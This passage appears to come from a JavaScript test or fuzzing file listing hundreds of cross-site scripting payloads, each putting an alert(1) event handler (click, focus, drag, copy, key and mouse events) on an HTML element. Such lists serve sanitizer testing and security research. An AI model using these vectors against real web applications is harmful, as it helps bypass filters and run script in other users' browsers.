  String.raw`<tbody draggable="true" ondragend="alert(1)">test</tbody>`,
  String.raw`<tbody draggable="true" ondragenter="alert(1)">test</tbody>`,
  String.raw`<tbody draggable="true" ondragleave="alert(1)">test</tbody>`,
  String.raw`<tbody draggable="true" ondragstart="alert(1)">test</tbody>`,
  String.raw`<tbody id=x tabindex=1 onactivate=alert(1)></tbody>`,
  String.raw`<tbody id=x tabindex=1 onbeforeactivate=alert(1)></tbody>`,
  String.raw`<tbody id=x tabindex=1 onbeforedeactivate=alert(1)></tbody><input autofocus>`,
  String.raw`<tbody id=x tabindex=1 ondeactivate=alert(1)></tbody><input id=y autofocus>`,
  String.raw`<tbody id=x tabindex=1 onfocus=alert(1)></tbody>`,
  String.raw`<tbody id=x tabindex=1 onfocusin=alert(1)></tbody>`,
  String.raw`<tbody onbeforecopy="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onbeforecut="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onbeforepaste="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onblur=alert(1) tabindex=1 id=x></tbody><input autofocus>`,
  String.raw`<tbody onclick="alert(1)">test</tbody>`,
  String.raw`<tbody oncontextmenu="alert(1)">test</tbody>`,
  String.raw`<tbody oncopy="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody oncut="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody ondblclick="alert(1)">test</tbody>`,
  String.raw`<tbody onfocusout=alert(1) tabindex=1 id=x></tbody><input autofocus>`,
  String.raw`<tbody onkeydown="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onkeypress="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onkeyup="alert(1)" contenteditable>test</tbody>`,
  String.raw`<tbody onmousedown="alert(1)">test</tbody>`,
  String.raw`<tbody onmouseenter="alert(1)">test</tbody>`,
  String.raw`<tbody onmouseleave="alert(1)">test</tbody>`,
  String.raw`<tbody onmousemove="alert(1)">test</tbody>`,
  String.raw`<tbody onmouseout="alert(1)">test</tbody>`,
  String.raw`<tbody onmouseover="alert(1)">test</tbody>`,
  String.raw`<tbody onmouseup="alert(1)">test</tbody>`,
  String.raw`<tbody onpaste="alert(1)" contenteditable>test</tbody>`,
  String.raw`<td draggable="true" ondrag="alert(1)">test</td>`,
  String.raw`<td draggable="true" ondragend="alert(1)">test</td>`,
  String.raw`<td draggable="true" ondragenter="alert(1)">test</td>`,
  String.raw`<td draggable="true" ondragleave="alert(1)">test</td>`,
  String.raw`<td draggable="true" ondragstart="alert(1)">test</td>`,
  String.raw`<td id=x tabindex=1 onactivate=alert(1)></td>`,
  String.raw`<td id=x tabindex=1 onbeforeactivate=alert(1)></td>`,
  String.raw`<td id=x tabindex=1 onbeforedeactivate=alert(1)></td><input autofocus>`,
  String.raw`<td id=x tabindex=1 ondeactivate=alert(1)></td><input id=y autofocus>`,
  String.raw`<td id=x tabindex=1 onfocus=alert(1)></td>`,
  String.raw`<td id=x tabindex=1 onfocusin=alert(1)></td>`,
  String.raw`<td onbeforecopy="alert(1)" contenteditable>test</td>`,
  String.raw`<td onbeforecut="alert(1)" contenteditable>test</td>`,
  String.raw`<td onbeforepaste="alert(1)" contenteditable>test</td>`,
  String.raw`<td onblur=alert(1) tabindex=1 id=x></td><input autofocus>`,
  String.raw`<td onclick="alert(1)">test</td>`,
  String.raw`<td oncontextmenu="alert(1)">test</td>`,
  String.raw`<td oncopy="alert(1)" contenteditable>test</td>`,
  String.raw`<td oncut="alert(1)" contenteditable>test</td>`,
  String.raw`<td ondblclick="alert(1)">test</td>`,
  String.raw`<td onfocusout=alert(1) tabindex=1 id=x></td><input autofocus>`,
  String.raw`<td onkeydown="alert(1)" contenteditable>test</td>`,
  String.raw`<td onkeypress="alert(1)" contenteditable>test</td>`,
  String.raw`<td onkeyup="alert(1)" contenteditable>test</td>`,
  String.raw`<td onmousedown="alert(1)">test</td>`,
  String.raw`<td onmouseenter="alert(1)">test</td>`,
  String.raw`<td onmouseleave="alert(1)">test</td>`,
  String.raw`<td onmousemove="alert(1)">test</td>`,
  String.raw`<td onmouseout="alert(1)">test</td>`,
  String.raw`<td onmouseover="alert(1)">test</td>`,
  String.raw`<td onmouseup="alert(1)">test</td>`,
  String.raw`<td onpaste="alert(1)" contenteditable>test</td>`,
  String.raw`<template draggable="true" ondrag="alert(1)">test</template>`,
  String.raw`<template draggable="true" ondragend="alert(1)">test</template>`,
  String.raw`<template draggable="true" ondragenter="alert(1)">test</template>`,
  String.raw`<template draggable="true" ondragleave="alert(1)">test</template>`,
  String.raw`<template draggable="true" ondragstart="alert(1)">test</template>`,
  String.raw`<template id=x tabindex=1 onactivate=alert(1)></template>`,
  String.raw`<template id=x tabindex=1 onbeforeactivate=alert(1)></template>`,
  String.raw`<template id=x tabindex=1 onbeforedeactivate=alert(1)></template><input autofocus>`,
  String.raw`<template id=x tabindex=1 ondeactivate=alert(1)></template><input id=y autofocus>`,
  String.raw`<template id=x tabindex=1 onfocus=alert(1)></template>`,
  String.raw`<template id=x tabindex=1 onfocusin=alert(1)></template>`,
  String.raw`<template onbeforecopy="alert(1)" contenteditable>test</template>`,
  String.raw`<template onbeforecut="alert(1)" contenteditable>test</template>`,
  String.raw`<template onbeforepaste="alert(1)" contenteditable>test</template>`,
  String.raw`<template onblur=alert(1) tabindex=1 id=x></template><input autofocus>`,
  String.raw`<template onclick="alert(1)">test</template>`,
  String.raw`<template oncontextmenu="alert(1)">test</template>`,
  String.raw`<template oncopy="alert(1)" contenteditable>test</template>`,
  String.raw`<template oncut="alert(1)" contenteditable>test</template>`,
  String.raw`<template ondblclick="alert(1)">test</template>`,
  String.raw`<template onfocusout=alert(1) tabindex=1 id=x></template><input autofocus>`,
  String.raw`<template onkeydown="alert(1)" contenteditable>test</template>`,
  String.raw`<template onkeypress="alert(1)" contenteditable>test</template>`,
  String.raw`<template onkeyup="alert(1)" contenteditable>test</template>`,
  String.raw`<template onmousedown="alert(1)">test</template>`,
  String.raw`<template onmouseenter="alert(1)">test</template>`,
  String.raw`<template onmouseleave="alert(1)">test</template>`,
  String.raw`<template onmousemove="alert(1)">test</template>`,
  String.raw`<template onmouseout="alert(1)">test</template>`,
  String.raw`<template onmouseover="alert(1)">test</template>`,
  String.raw`<template onmouseup="alert(1)">test</template>`,
  String.raw`<template onpaste="alert(1)" contenteditable>test</template>`,
  String.raw`<textarea autofocus onfocus=alert(1)>test</textarea>`,
  String.raw`<textarea autofocus onfocusin=alert(1)>test</textarea>`,
  String.raw`<textarea draggable="true" ondrag="alert(1)">test</textarea>`,
  String.raw`<textarea draggable="true" ondragend="alert(1)">test</textarea>`,
  String.raw`<textarea draggable="true" ondragenter="alert(1)">test</textarea>`,
  String.raw`<textarea draggable="true" ondragleave="alert(1)">test</textarea>`,
  String.raw`<textarea draggable="true" ondragstart="alert(1)">test</textarea>`,
  String.raw`<textarea id=x tabindex=1 onactivate=alert(1)></textarea>`,
  String.raw`<textarea id=x tabindex=1 onbeforeactivate=alert(1)></textarea>`,
  String.raw`<textarea id=x tabindex=1 onbeforedeactivate=alert(1)></textarea><input autofocus>`,
  String.raw`<textarea id=x tabindex=1 ondeactivate=alert(1)></textarea><input id=y autofocus>`,
  String.raw`<textarea onauxclick=alert(1)>XSS</textarea>`,
  String.raw`<textarea onbeforecopy=alert(1) autofocus>XSS</textarea>`,
  String.raw`<textarea onbeforecut=alert(1) autofocus>XSS</textarea>`,
  String.raw`<textarea onbeforepaste=alert(1) autofocus></textarea>`,
  String.raw`<textarea onblur=alert(1) id=x></textarea><input autofocus>`,
  String.raw`<textarea onchange=alert(1)>XSS</textarea>`,
  String.raw`<textarea onclick="alert(1)">test</textarea>`,
  String.raw`<textarea oncontextmenu="alert(1)">test</textarea>`,
  String.raw`<textarea oncopy=alert(1) autofocus>XSS</textarea>`,
  String.raw`<textarea oncut=alert(1) autofocus>XSS</textarea>`,
  String.raw`<textarea ondblclick="alert(1)">test</textarea>`,
  String.raw`<textarea onfocusout=alert(1) id=x></textarea><input autofocus>`,
  String.raw`<textarea oninput=alert(1)>XSS</textarea>`,
  String.raw`<textarea onkeydown="alert(1)" contenteditable>test</textarea>`,
  String.raw`<textarea onkeypress="alert(1)" contenteditable>test</textarea>`,
  String.raw`<textarea onkeyup="alert(1)" contenteditable>test</textarea>`,
  String.raw`<textarea onmousedown="alert(1)">test</textarea>`,
  String.raw`<textarea onmouseenter="alert(1)">test</textarea>`,
  String.raw`<textarea onmouseleave="alert(1)">test</textarea>`,
  String.raw`<textarea onmousemove="alert(1)">test</textarea>`,
  String.raw`<textarea onmouseout="alert(1)">test</textarea>`,
  String.raw`<textarea onmouseover="alert(1)">test</textarea>`,
  String.raw`<textarea onmouseup="alert(1)">test</textarea>`,
  String.raw`<textarea onpaste=alert(1) autofocus></textarea>`,
  String.raw`<textarea onselect=alert(1) autofocus>XSS</textarea>`,
  String.raw`<tfoot draggable="true" ondrag="alert(1)">test</tfoot>`,
  String.raw`<tfoot draggable="true" ondragend="alert(1)">test</tfoot>`,
  String.raw`<tfoot draggable="true" ondragenter="alert(1)">test</tfoot>`,
  String.raw`<tfoot draggable="true" ondragleave="alert(1)">test</tfoot>`,
  String.raw`<tfoot draggable="true" ondragstart="alert(1)">test</tfoot>`,
  String.raw`<tfoot id=x tabindex=1 onactivate=alert(1)></tfoot>`,
  String.raw`<tfoot id=x tabindex=1 onbeforeactivate=alert(1)></tfoot>`,
  String.raw`<tfoot id=x tabindex=1 onbeforedeactivate=alert(1)></tfoot><input autofocus>`,
  String.raw`<tfoot id=x tabindex=1 ondeactivate=alert(1)></tfoot><input id=y autofocus>`,
  String.raw`<tfoot id=x tabindex=1 onfocus=alert(1)></tfoot>`,
  String.raw`<tfoot id=x tabindex=1 onfocusin=alert(1)></tfoot>`,
  String.raw`<tfoot onbeforecopy="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onbeforecut="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onbeforepaste="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onblur=alert(1) tabindex=1 id=x></tfoot><input autofocus>`,
  String.raw`<tfoot onclick="alert(1)">test</tfoot>`,
  String.raw`<tfoot oncontextmenu="alert(1)">test</tfoot>`,
  String.raw`<tfoot oncopy="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot oncut="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot ondblclick="alert(1)">test</tfoot>`,
  String.raw`<tfoot onfocusout=alert(1) tabindex=1 id=x></tfoot><input autofocus>`,
  String.raw`<tfoot onkeydown="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onkeypress="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onkeyup="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<tfoot onmousedown="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmouseenter="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmouseleave="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmousemove="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmouseout="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmouseover="alert(1)">test</tfoot>`,
  String.raw`<tfoot onmouseup="alert(1)">test</tfoot>`,
  String.raw`<tfoot onpaste="alert(1)" contenteditable>test</tfoot>`,
  String.raw`<th draggable="true" ondrag="alert(1)">test</th>`,
  String.raw`<th draggable="true" ondragend="alert(1)">test</th>`,
  String.raw`<th draggable="true" ondragenter="alert(1)">test</th>`,
  String.raw`<th draggable="true" ondragleave="alert(1)">test</th>`,
  String.raw`<th draggable="true" ondragstart="alert(1)">test</th>`,
  String.raw`<th id=x tabindex=1 onactivate=alert(1)></th>`,
  String.raw`<th id=x tabindex=1 onbeforeactivate=alert(1)></th>`,
  String.raw`<th id=x tabindex=1 onbeforedeactivate=alert(1)></th><input autofocus>`,
  String.raw`<th id=x tabindex=1 ondeactivate=alert(1)></th><input id=y autofocus>`,
  String.raw`<th id=x tabindex=1 onfocus=alert(1)></th>`,
  String.raw`<th id=x tabindex=1 onfocusin=alert(1)></th>`,
  String.raw`<th onbeforecopy="alert(1)" contenteditable>test</th>`,
  String.raw`<th onbeforecut="alert(1)" contenteditable>test</th>`,
  String.raw`<th onbeforepaste="alert(1)" contenteditable>test</th>`,
  String.raw`<th onblur=alert(1) tabindex=1 id=x></th><input autofocus>`,
  String.raw`<th onclick="alert(1)">test</th>`,
  String.raw`<th oncontextmenu="alert(1)">test</th>`,
  String.raw`<th oncopy="alert(1)" contenteditable>test</th>`,
  String.raw`<th oncut="alert(1)" contenteditable>test</th>`,
  String.raw`<th ondblclick="alert(1)">test</th>`,
  String.raw`<th onfocusout=alert(1) tabindex=1 id=x></th><input autofocus>`,
  String.raw`<th onkeydown="alert(1)" contenteditable>test</th>`,
  String.raw`<th onkeypress="alert(1)" contenteditable>test</th>`,
  String.raw`<th onkeyup="alert(1)" contenteditable>test</th>`,
  String.raw`<th onmousedown="alert(1)">test</th>`,
  String.raw`<th onmouseenter="alert(1)">test</th>`,
  String.raw`<th onmouseleave="alert(1)">test</th>`,
  String.raw`<th onmousemove="alert(1)">test</th>`,
  String.raw`<th onmouseout="alert(1)">test</th>`,
  String.raw`<th onmouseover="alert(1)">test</th>`,
  String.raw`<th onmouseup="alert(1)">test</th>`,
  String.raw`<th onpaste="alert(1)" contenteditable>test</th>`,
  String.raw`<thead draggable="true" ondrag="alert(1)">test</thead>`,
  String.raw`<thead draggable="true" ondragend="alert(1)">test</thead>`,
  String.raw`<thead draggable="true" ondragenter="alert(1)">test</thead>`,
  String.raw`<thead draggable="true" ondragleave="alert(1)">test</thead>`,
  String.raw`<thead draggable="true" ondragstart="alert(1)">test</thead>`,
  String.raw`<thead id=x tabindex=1 onactivate=alert(1)></thead>`,
  String.raw`<thead id=x tabindex=1 onbeforeactivate=alert(1)></thead>`,
  String.raw`<thead id=x tabindex=1 onbeforedeactivate=alert(1)></thead><input autofocus>`,
  String.raw`<thead id=x tabindex=1 ondeactivate=alert(1)></thead><input id=y autofocus>`,
  String.raw`<thead id=x tabindex=1 onfocus=alert(1)></thead>`,
  String.raw`<thead id=x tabindex=1 onfocusin=alert(1)></thead>`,
  String.raw`<thead onbeforecopy="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onbeforecut="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onbeforepaste="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onblur=alert(1) tabindex=1 id=x></thead><input autofocus>`,
  String.raw`<thead onclick="alert(1)">test</thead>`,
  String.raw`<thead oncontextmenu="alert(1)">test</thead>`,
  String.raw`<thead oncopy="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead oncut="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead ondblclick="alert(1)">test</thead>`,
  String.raw`<thead onfocusout=alert(1) tabindex=1 id=x></thead><input autofocus>`,
  String.raw`<thead onkeydown="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onkeypress="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onkeyup="alert(1)" contenteditable>test</thead>`,
  String.raw`<thead onmousedown="alert(1)">test</thead>`,
  String.raw`<thead onmouseenter="alert(1)">test</thead>`,
  String.raw`<thead onmouseleave="alert(1)">test</thead>`,
  String.raw`<thead onmousemove="alert(1)">test</thead>`,
  String.raw`<thead onmouseout="alert(1)">test</thead>`,
  String.raw`<thead onmouseover="alert(1)">test</thead>`,
  String.raw`<thead onmouseup="alert(1)">test</thead>`,
  String.raw`<thead onpaste="alert(1)" contenteditable>test</thead>`,
  String.raw`<time draggable="true" ondrag="alert(1)">test</time>`,
  String.raw`<time draggable="true" ondragend="alert(1)">test</time>`,
  String.raw`<time draggable="true" ondragenter="alert(1)">test</time>`,
  String.raw`<time draggable="true" ondragleave="alert(1)">test</time>`,
  String.raw`<time draggable="true" ondragstart="alert(1)">test</time>`,
  String.raw`<time id=x tabindex=1 onactivate=alert(1)></time>`,
  String.raw`<time id=x tabindex=1 onbeforeactivate=alert(1)></time>`,
  String.raw`<time id=x tabindex=1 onbeforedeactivate=alert(1)></time><input autofocus>`,
  String.raw`<time id=x tabindex=1 ondeactivate=alert(1)></time><input id=y autofocus>`,
  String.raw`<time id=x tabindex=1 onfocus=alert(1)></time>`,
  String.raw`<time id=x tabindex=1 onfocusin=alert(1)></time>`,
  String.raw`<time onbeforecopy="alert(1)" contenteditable>test</time>`,
  String.raw`<time onbeforecut="alert(1)" contenteditable>test</time>`,
  String.raw`<time onbeforepaste="alert(1)" contenteditable>test</time>`,
  String.raw`<time onblur=alert(1) tabindex=1 id=x></time><input autofocus>`,
  String.raw`<time onclick="alert(1)">test</time>`,
  String.raw`<time oncontextmenu="alert(1)">test</time>`,
  String.raw`<time oncopy="alert(1)" contenteditable>test</time>`,
  String.raw`<time oncut="alert(1)" contenteditable>test</time>`,
  String.raw`<time ondblclick="alert(1)">test</time>`,
  String.raw`<time onfocusout=alert(1) tabindex=1 id=x></time><input autofocus>`,
  String.raw`<time onkeydown="alert(1)" contenteditable>test</time>`,
  String.raw`<time onkeypress="alert(1)" contenteditable>test</time>`,
  String.raw`<time onkeyup="alert(1)" contenteditable>test</time>`,
  String.raw`<time onmousedown="alert(1)">test</time>`,
  String.raw`<time onmouseenter="alert(1)">test</time>`,
  String.raw`<time onmouseleave="alert(1)">test</time>`,
  String.raw`<time onmousemove="alert(1)">test</time>`,
  String.raw`<time onmouseout="alert(1)">test</time>`,
  String.raw`<time onmouseover="alert(1)">test</time>`,
  String.raw`<time onmouseup="alert(1)">test</time>`,
  String.raw`<time onpaste="alert(1)" contenteditable>test</time>`,
  String.raw`<title draggable="true" ondrag="alert(1)">test</title>`,
  String.raw`<title draggable="true" ondragend="alert(1)">test</title>`,
  String.raw`<title draggable="true" ondragenter="alert(1)">test</title>`,
  String.raw`<title draggable="true" ondragleave="alert(1)">test</title>`,
  String.raw`<title draggable="true" ondragstart="alert(1)">test</title>`,
  String.raw`<title id=x tabindex=1 onactivate=alert(1)></title>`,
  String.raw`<title id=x tabindex=1 onbeforeactivate=alert(1)></title>`,
  String.raw`<title id=x tabindex=1 onbeforedeactivate=alert(1)></title><input autofocus>`,
  String.raw`<title id=x tabindex=1 ondeactivate=alert(1)></title><input id=y autofocus>`,
  String.raw`<title id=x tabindex=1 onfocus=alert(1)></title>`,
  String.raw`<title id=x tabindex=1 onfocusin=alert(1)></title>`,
  String.raw`<title onbeforecopy="alert(1)" contenteditable>test</title>`,
  String.raw`<title onbeforecut="alert(1)" contenteditable>test</title>`,
  String.raw`<title onbeforepaste="alert(1)" contenteditable>test</title>`,
  String.raw`<title onblur=alert(1) tabindex=1 id=x></title><input autofocus>`,
  String.raw`<title onclick="alert(1)">test</title>`,
  String.raw`<title oncontextmenu="alert(1)">test</title>`,
  String.raw`<title oncopy="alert(1)" contenteditable>test</title>`,
  String.raw`<title oncut="alert(1)" contenteditable>test</title>`,
  String.raw`<title ondblclick="alert(1)">test</title>`,
  String.raw`<title onfocusout=alert(1) tabindex=1 id=x></title><input autofocus>`,
  String.raw`<title onkeydown="alert(1)" contenteditable>test</title>`,
  String.raw`<title onkeypress="alert(1)" contenteditable>test</title>`,
  String.raw`<title onkeyup="alert(1)" contenteditable>test</title>`,
  String.raw`<title onmousedown="alert(1)">test</title>`,
  String.raw`<title onmouseenter="alert(1)">test</title>`,
  String.raw`<title onmouseleave="alert(1)">test</title>`,
  String.raw`<title onmousemove="alert(1)">test</title>`,
  String.raw`<title onmouseout="alert(1)">test</title>`,
  String.raw`<title onmouseover="alert(1)">test</title>`,
  String.raw`<title onmouseup="alert(1)">test</title>`,
  String.raw`<title onpaste="alert(1)" contenteditable>test</title>`,
  String.raw`<tr draggable="true" ondrag="alert(1)">test</tr>`,
  String.raw`<tr draggable="true" ondragend="alert(1)">test</tr>`,
  String.raw`<tr draggable="true" ondragenter="alert(1)">test</tr>`,
  String.raw`<tr draggable="true" ondragleave="alert(1)">test</tr>`,
  String.raw`<tr draggable="true" ondragstart="alert(1)">test</tr>`,
  String.raw`<tr id=x tabindex=1 onactivate=alert(1)></tr>`,
  String.raw`<tr id=x tabindex=1 onbeforeactivate=alert(1)></tr>`,
  String.raw`<tr id=x tabindex=1 onbeforedeactivate=alert(1)></tr><input autofocus>`,
  String.raw`<tr id=x tabindex=1 ondeactivate=alert(1)></tr><input id=y autofocus>`,
  String.raw`<tr id=x tabindex=1 onfocus=alert(1)></tr>`,
  String.raw`<tr id=x tabindex=1 onfocusin=alert(1)></tr>`,
  String.raw`<tr onbeforecopy="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onbeforecut="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onbeforepaste="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onblur=alert(1) tabindex=1 id=x></tr><input autofocus>`,
  String.raw`<tr onclick="alert(1)">test</tr>`,
  String.raw`<tr oncontextmenu="alert(1)">test</tr>`,
  String.raw`<tr oncopy="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr oncut="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr ondblclick="alert(1)">test</tr>`,
  String.raw`<tr onfocusout=alert(1) tabindex=1 id=x></tr><input autofocus>`,
  String.raw`<tr onkeydown="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onkeypress="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onkeyup="alert(1)" contenteditable>test</tr>`,
  String.raw`<tr onmousedown="alert(1)">test</tr>`,
  String.raw`<tr onmouseenter="alert(1)">test</tr>`,
  String.raw`<tr onmouseleave="alert(1)">test</tr>`,
  String.raw`<tr onmousemove="alert(1)">test</tr>`,
  String.raw`<tr onmouseout="alert(1)">test</tr>`,
  String.raw`<tr onmouseover="alert(1)">test</tr>`,
  String.raw`<tr onmouseup="alert(1)">test</tr>`,
  String.raw`<tr onpaste="alert(1)" contenteditable>test</tr>`,
  String.raw`<track draggable="true" ondrag="alert(1)">test</track>`,
  String.raw`<track draggable="true" ondragend="alert(1)">test</track>`,
  String.raw`<track draggable="true" ondragenter="alert(1)">test</track>`,
  String.raw`<track draggable="true" ondragleave="alert(1)">test</track>`,
  String.raw`<track draggable="true" ondragstart="alert(1)">test</track>`,
  String.raw`<track id=x tabindex=1 onactivate=alert(1)></track>`,
  String.raw`<track id=x tabindex=1 onbeforeactivate=alert(1)></track>`,
  String.raw`<track id=x tabindex=1 onbeforedeactivate=alert(1)></track><input autofocus>`,
  String.raw`<track id=x tabindex=1 ondeactivate=alert(1)></track><input id=y autofocus>`,
  String.raw`<track id=x tabindex=1 onfocus=alert(1)></track>`,
  String.raw`<track id=x tabindex=1 onfocusin=alert(1)></track>`,
  String.raw`<track onbeforecopy="alert(1)" contenteditable>test</track>`,
  String.raw`<track onbeforecut="alert(1)" contenteditable>test</track>`,
  String.raw`<track onbeforepaste="alert(1)" contenteditable>test</track>`,
  String.raw`<track onblur=alert(1) tabindex=1 id=x></track><input autofocus>`,
  String.raw`<track onclick="alert(1)">test</track>`,
  String.raw`<track oncontextmenu="alert(1)">test</track>`,
  String.raw`<track oncopy="alert(1)" contenteditable>test</track>`,
  String.raw`<track oncut="alert(1)" contenteditable>test</track>`,
  String.raw`<track ondblclick="alert(1)">test</track>`,
  String.raw`<track onfocusout=alert(1) tabindex=1 id=x></track><input autofocus>`,
  String.raw`<track onkeydown="alert(1)" contenteditable>test</track>`,
  String.raw`<track onkeypress="alert(1)" contenteditable>test</track>`,
  String.raw`<track onkeyup="alert(1)" contenteditable>test</track>`,
  String.raw`<track onmousedown="alert(1)">test</track>`,
  String.raw`<track onmouseenter="alert(1)">test</track>`,
  String.raw`<track onmouseleave="alert(1)">test</track>`,
  String.raw`<track onmousemove="alert(1)">test</track>`,
  String.raw`<track onmouseout="alert(1)">test</track>`,
  String.raw`<track onmouseover="alert(1)">test</track>`,
  String.raw`<track onmouseup="alert(1)">test</track>`,
  String.raw`<track onpaste="alert(1)" contenteditable>test</track>`,
  String.raw`<tt draggable="true" ondrag="alert(1)">test</tt>`,
  String.raw`<tt draggable="true" ondragend="alert(1)">test</tt>`,
  String.raw`<tt draggable="true" ondragenter="alert(1)">test</tt>`,
  String.raw`<tt draggable="true" ondragleave="alert(1)">test</tt>`,
  String.raw`<tt draggable="true" ondragstart="alert(1)">test</tt>`,
  String.raw`<tt id=x tabindex=1 onactivate=alert(1)></tt>`,
  String.raw`<tt id=x tabindex=1 onbeforeactivate=alert(1)></tt>`,
  String.raw`<tt id=x tabindex=1 onbeforedeactivate=alert(1)></tt><input autofocus>`,
  String.raw`<tt id=x tabindex=1 ondeactivate=alert(1)></tt><input id=y autofocus>`,
  String.raw`<tt id=x tabindex=1 onfocus=alert(1)></tt>`,
  String.raw`<tt id=x tabindex=1 onfocusin=alert(1)></tt>`,
  String.raw`<tt onbeforecopy="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onbeforecut="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onbeforepaste="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onblur=alert(1) tabindex=1 id=x></tt><input autofocus>`,
  String.raw`<tt onclick="alert(1)">test</tt>`,
  String.raw`<tt oncontextmenu="alert(1)">test</tt>`,
  String.raw`<tt oncopy="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt oncut="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt ondblclick="alert(1)">test</tt>`,
  String.raw`<tt onfocusout=alert(1) tabindex=1 id=x></tt><input autofocus>`,
  String.raw`<tt onkeydown="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onkeypress="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onkeyup="alert(1)" contenteditable>test</tt>`,
  String.raw`<tt onmousedown="alert(1)">test</tt>`,
  String.raw`<tt onmouseenter="alert(1)">test</tt>`,
  String.raw`<tt onmouseleave="alert(1)">test</tt>`,
  String.raw`<tt onmousemove="alert(1)">test</tt>`,
  String.raw`<tt onmouseout="alert(1)">test</tt>`,
  String.raw`<tt onmouseover="alert(1)">test</tt>`,
  String.raw`<tt onmouseup="alert(1)">test</tt>`,
  String.raw`<tt onpaste="alert(1)" contenteditable>test</tt>`,
  String.raw`<u draggable="true" ondrag="alert(1)">test</u>`,
  String.raw`<u draggable="true" ondragend="alert(1)">test</u>`,
  String.raw`<u draggable="true" ondragenter="alert(1)">test</u>`,
  String.raw`<u draggable="true" ondragleave="alert(1)">test</u>`,
  String.raw`<u draggable="true" ondragstart="alert(1)">test</u>`,
  String.raw`<u id=x tabindex=1 onactivate=alert(1)></u>`,
  String.raw`<u id=x tabindex=1 onbeforeactivate=alert(1)></u>`,
  String.raw`<u id=x tabindex=1 onbeforedeactivate=alert(1)></u><input autofocus>`,
  String.raw`<u id=x tabindex=1 ondeactivate=alert(1)></u><input id=y autofocus>`,
  String.raw`<u id=x tabindex=1 onfocus=alert(1)></u>`,
  String.raw`<u id=x tabindex=1 onfocusin=alert(1)></u>`,
  String.raw`<u onbeforecopy="alert(1)" contenteditable>test</u>`,
  String.raw`<u onbeforecut="alert(1)" contenteditable>test</u>`,
  String.raw`<u onbeforepaste="alert(1)" contenteditable>test</u>`,
  String.raw`<u onblur=alert(1) tabindex=1 id=x></u><input autofocus>`,
  String.raw`<u onclick="alert(1)">test</u>`,
  String.raw`<u oncontextmenu="alert(1)">test</u>`,
  String.raw`<u oncopy="alert(1)" contenteditable>test</u>`,
  String.raw`<u oncut="alert(1)" contenteditable>test</u>`,
  String.raw`<u ondblclick="alert(1)">test</u>`,
  String.raw`<u onfocusout=alert(1) tabindex=1 id=x></u><input autofocus>`,
  String.raw`<u onkeydown="alert(1)" contenteditable>test</u>`,
  String.raw`<u onkeypress="alert(1)" contenteditable>test</u>`,
  String.raw`<u onkeyup="alert(1)" contenteditable>test</u>`,
  String.raw`<u onmousedown="alert(1)">test</u>`,
  String.raw`<u onmouseenter="alert(1)">test</u>`,
  String.raw`<u onmouseleave="alert(1)">test</u>`,
  String.raw`<u onmousemove="alert(1)">test</u>`,
  String.raw`<u onmouseout="alert(1)">test</u>`,
  String.raw`<u onmouseover="alert(1)">test</u>`,
  String.raw`<u onmouseup="alert(1)">test</u>`,
  String.raw`<u onpaste="alert(1)" contenteditable>test</u>`,
  String.raw`<ul draggable="true" ondrag="alert(1)">test</ul>`,
  String.raw`<ul draggable="true" ondragend="alert(1)">test</ul>`,
  String.raw`<ul draggable="true" ondragenter="alert(1)">test</ul>`,
  String.raw`<ul draggable="true" ondragleave="alert(1)">test</ul>`,
  String.raw`<ul draggable="true" ondragstart="alert(1)">test</ul>`,
  String.raw`<ul id=x tabindex=1 onactivate=alert(1)></ul>`,
  String.raw`<ul id=x tabindex=1 onbeforeactivate=alert(1)></ul>`,
  String.raw`<ul id=x tabindex=1 onbeforedeactivate=alert(1)></ul><input autofocus>`,
  String.raw`<ul id=x tabindex=1 ondeactivate=alert(1)></ul><input id=y autofocus>`,
  String.raw`<ul id=x tabindex=1 onfocus=alert(1)></ul>`,
  String.raw`<ul id=x tabindex=1 onfocusin=alert(1)></ul>`,
  String.raw`<ul onbeforecopy="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onbeforecut="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onbeforepaste="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul onblur=alert(1) tabindex=1 id=x></ul><input autofocus>`,
  String.raw`<ul onclick="alert(1)">test</ul>`,
  String.raw`<ul oncontextmenu="alert(1)">test</ul>`,
  String.raw`<ul oncopy="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul oncut="alert(1)" contenteditable>test</ul>`,
  String.raw`<ul ondblclick="alert(1)">test</ul>`,
